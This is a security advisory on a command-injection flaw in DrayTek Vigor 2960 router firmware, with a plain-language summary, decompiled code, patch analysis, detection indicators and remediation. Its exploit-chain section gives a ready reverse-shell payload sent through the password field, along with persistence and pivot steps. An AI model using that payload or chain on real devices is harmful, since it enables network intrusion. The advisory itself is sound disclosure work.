A security flaw has been discovered in DrayTek Vigor 2960 routers—the devices many businesses use to manage their internet connections and networks. The problem is in how the router handles login attempts, specifically when users are trying to authenticate with a special security code called MOTP.
Here's what's happening: when someone tries to log in, the router is supposed to check their password and security code. But instead of properly validating what's being entered, it just passes it along to another part of the system without cleaning it up first. Think of it like a nightclub bouncer who doesn't actually read your ID—they just hand whatever you give them directly to the manager.
An attacker who knows a valid username could exploit this by sneaking in specially crafted commands hidden in the password field. If those commands get through, the attacker gains the ability to run their own code directly on the router. This is about as bad as it gets in security terms: it means someone could potentially spy on all your network traffic, lock you out of your own device, or use your router to launch attacks on other systems.
The good news is that security researchers haven't found evidence of hackers actually using this yet. But any company running an older Vigor 2960 router should consider themselves vulnerable.
If you own or manage one of these routers, take action now. First, update your firmware immediately to version 1.5.1.4 or later—this patches the flaw. Second, if you can't update right away, restrict which IP addresses can even access the login page. Third, use strong, unique usernames and disable MOTP authentication temporarily if you're not actively using it.
Want the full technical analysis? Click "Technical" above.
DrayTek Vigor 2960 firmware versions prior to 1.5.1.4 contain an unauthenticated OS command injection vulnerability in the CGI login handler, tracked as CVE-2022-50994 (CVSS 8.1 HIGH). The vulnerable surface is mainfunction.cgi, the primary web management interface handler. When a target account has MOTP (Mobile One-Time Password) authentication enabled, the formpassword POST parameter is passed unsanitized into a shell script invocation, allowing an attacker with knowledge of a valid username to execute arbitrary commands under web server privileges — without any authentication.
The attack surface is the router's HTTPS management interface, typically exposed on port 443. No session token, CSRF bypass, or prior authentication step is required beyond knowing a valid username and that MOTP is active on the account.
Root cause: The CGI login handler in mainfunction.cgi passes the attacker-controlled formpassword parameter directly to a system() call constructing the otp_check.sh invocation without any shell metacharacter sanitization or argument quoting.
Affected Component
The vulnerability lives in /www/cgi-bin/mainfunction.cgi, compiled for MIPS32 (little-endian) as part of the Vigor 2960 firmware image. The relevant code path is triggered when:
HTTP POST to /cgi-bin/mainfunction.cgi with action=login
The supplied username resolves to an account with MOTP enabled
formpassword contains the injected payload
Affected firmware: all Vigor 2960 releases prior to 1.5.1.4. The Vigor 3900 and Vigor 300B share overlapping CGI codebases and may carry analogous patterns.
Root Cause Analysis
After extracting the firmware with binwalk -e and loading mainfunction.cgi into Ghidra with the MIPS 32-bit LE processor, the login action handler decompiles to the following pseudocode. The critical sink is a system() call built via sprintf() with unfiltered POST data:
/* mainfunction.cgi — login action handler (decompiled pseudocode) */
/* Ghidra label: handle_login_action */
int handle_login_action(cgi_env_t *env) {
char cmd_buf[512];
char otp_result[64];
char *username = cgi_get_param(env, "username"); // POST field
char *formpassword = cgi_get_param(env, "formpassword"); // POST field — attacker controlled
int motp_enabled = 0;
/* Lookup account config; sets motp_enabled if MOTP is configured */
motp_enabled = get_user_motp_status(username);
if (motp_enabled) {
/*
* BUG: formpassword is interpolated directly into the shell command
* string with no sanitization, quoting, or metacharacter stripping.
* An attacker supplies shell metacharacters (;, $(), ``, |, etc.)
* in formpassword to break out of the intended argument context.
*/
sprintf(cmd_buf,
"/usr/sbin/otp_check.sh %s %s", // BUG: no quoting, no sanitization
username,
formpassword); // BUG: direct attacker input
system(cmd_buf); // BUG: shell interprets injected metacharacters
/* otp_check.sh writes result to /tmp/otp_result; read it back */
read_file_to_buf("/tmp/otp_result", otp_result, sizeof(otp_result));
if (strncmp(otp_result, "1", 1) == 0) {
return establish_session(env, username);
}
}
/* ... password auth fallthrough ... */
return login_failure(env);
}
The sprintf() call at cmd_buf builds a shell command treating formpassword as a positional argument to otp_check.sh. Because the string is handed to system() — which invokes /bin/sh -c — any shell metacharacter in formpassword is interpreted by the shell before otp_check.sh ever executes.
EXPLOIT CHAIN — CVE-2022-50994:
1. RECON: Enumerate valid usernames via login response timing or error message
differentiation in mainfunction.cgi (distinct responses for unknown vs
known-but-wrong-password users).
2. MOTP CHECK: Attempt login with known username; if MOTP is enabled, the
response HTML includes an OTP input field — confirming the vulnerable
code path is reachable.
3. INJECT: Send crafted POST to /cgi-bin/mainfunction.cgi:
action=login
username=admin
formpassword=x;CMD_HERE;#
Example — reverse shell via busybox nc:
formpassword=x;busybox${IFS}nc${IFS}192.168.1.100${IFS}4444${IFS}-e${IFS}/bin/sh;#
4. EXECUTION: system() forks /bin/sh -c with the injected command; shell
metacharacters break argument context, arbitrary commands run as the
web server process (typically nobody or root on Vigor 2960).
5. PERSISTENCE: Write cron entry or inject into /etc/rc.d startup scripts
(writable on affected firmware); web server process on Vigor 2960 runs
with sufficient privilege to modify system paths.
6. PIVOT: Device has access to LAN segments and VPN tunnels configured in
the router — attacker gains network adjacency to internal hosts.
This is a command injection, not a memory corruption bug, so heap state diagrams are less relevant. What matters is the stack frame layout of handle_login_action and how cmd_buf is populated:
/* Stack frame layout — handle_login_action (MIPS32 LE) */
/* Frame size: ~0x2C0 bytes */
/* sp+0x000 */ uint8_t cmd_buf[512]; // built by sprintf — sink for injection
/* sp+0x200 */ uint8_t otp_result[64]; // written by read_file_to_buf post-exec
/* sp+0x240 */ char *username; // pointer to parsed POST param
/* sp+0x244 */ char *formpassword; // pointer to parsed POST param — attacker data
/* sp+0x248 */ int motp_enabled; // flag gating the vulnerable path
/* sp+0x24C */ int session_id; // returned by establish_session on success
/* sp+0x250 */ cgi_env_t *env; // saved argument
/* sp+0x254 */ uint32_t saved_ra; // return address
STACK STATE — cmd_buf before and after sprintf injection:
BEFORE sprintf():
sp+0x000: [ uninitialized / zeroed — 512 bytes ]
AFTER sprintf() with payload "x;busybox nc 192.168.1.100 4444 -e /bin/sh;#":
sp+0x000: "/usr/sbin/otp_check.sh admin x;busybox nc 192.168.1.100 4444 -e /bin/sh;#\0"
^--- passed verbatim to system() --- /bin/sh -c interprets ; as command separator
NOTE: cmd_buf is 512 bytes. Maximum URL-encoded POST body the CGI framework
accepts is limited by the web server config (~4096 bytes). Injected command
is bounded in practice but no length check guards cmd_buf — a sufficiently
long formpassword (>~470 bytes after the fixed prefix) overflows cmd_buf
into otp_result and beyond, introducing a secondary stack smash vector.
Patch Analysis
Firmware 1.5.1.4 addresses the injection by replacing the system()-based invocation with a direct execve() call using an argument array, eliminating shell interpretation entirely. Additionally, input is validated against an alphanumeric allowlist before use.
// BEFORE (vulnerable — firmware < 1.5.1.4):
if (motp_enabled) {
sprintf(cmd_buf,
"/usr/sbin/otp_check.sh %s %s",
username,
formpassword); // BUG: shell metacharacters pass through
system(cmd_buf); // BUG: /bin/sh -c interprets injected commands
}
// AFTER (patched — firmware 1.5.1.4):
if (motp_enabled) {
/* Validate: formpassword must be [0-9A-Za-z] only (MOTP tokens are numeric) */
if (validate_alnum(formpassword, MAX_OTP_LEN) != 0) {
return login_failure(env); // FIX: reject metacharacters early
}
/* FIX: execve() with explicit argv — no shell involved, no metachar risk */
char *argv[] = {
"/usr/sbin/otp_check.sh",
username,
formpassword,
NULL
};
execve_wrapper(argv[0], argv, /* envp= */ NULL);
}
The secondary stack overflow risk (overlong formpassword exceeding cmd_buf) is also mitigated in 1.5.1.4 by capping formpassword at 16 bytes — the maximum length of a valid MOTP token — before it reaches any buffer operation:
// AFTER (patched): length gate added to cgi_get_param wrapper for OTP fields
char *formpassword = cgi_get_param_maxlen(env, "formpassword", 16); // FIX: hard cap
if (formpassword == NULL) return login_failure(env);
Detection and Indicators
Detection from network telemetry:
NETWORK IOC — anomalous POST to mainfunction.cgi:
- POST /cgi-bin/mainfunction.cgi with body containing:
formpassword=.*[;&|`$(){}].*
- Outbound connections from router management IP shortly after login POST
(wget, curl, nc to non-DrayTek infrastructure)
- DNS queries from router IP for non-vendor domains post-login attempt
SYSLOG IOC (if remote syslog is configured):
- Entries from web server process (httpd) spawning child processes not in
the normal CGI whitelist
- /tmp/ file creation events (otp_result is benign; shell.sh, s, etc. are not)
FIREWALL RULE — block exploitation if patch cannot be applied immediately:
- Restrict access to TCP/443 (management interface) to trusted management
VLAN only; Vigor 2960 ACL: Admin > Management > Management Port Setup
Remediation
Primary: Upgrade Vigor 2960 firmware to 1.5.1.4 or later via DrayTek's firmware portal. The patch replaces system() with execve() and adds input validation on OTP fields.
Mitigations if immediate patching is not possible:
Restrict management interface access (TCP/443, TCP/8080) to trusted source IPs via Access Control List under System Maintenance > Management.
Disable MOTP authentication on all accounts if the feature is not operationally required — this removes the condition that gates the vulnerable system() call.
Place the device behind an out-of-band management network isolated from untrusted hosts.
Enable remote syslog and alert on unexpected outbound TCP sessions originating from the management IP.
Note on CVSS 8.1 scoring: The score reflects the MOTP precondition (Attack Complexity: High) and the requirement for a valid username (Privileges Required: None, but partial knowledge assumed). In environments where the default admin account is unchanged and MOTP is enabled — a common deployment pattern — the practical exploitability is considerably closer to trivial.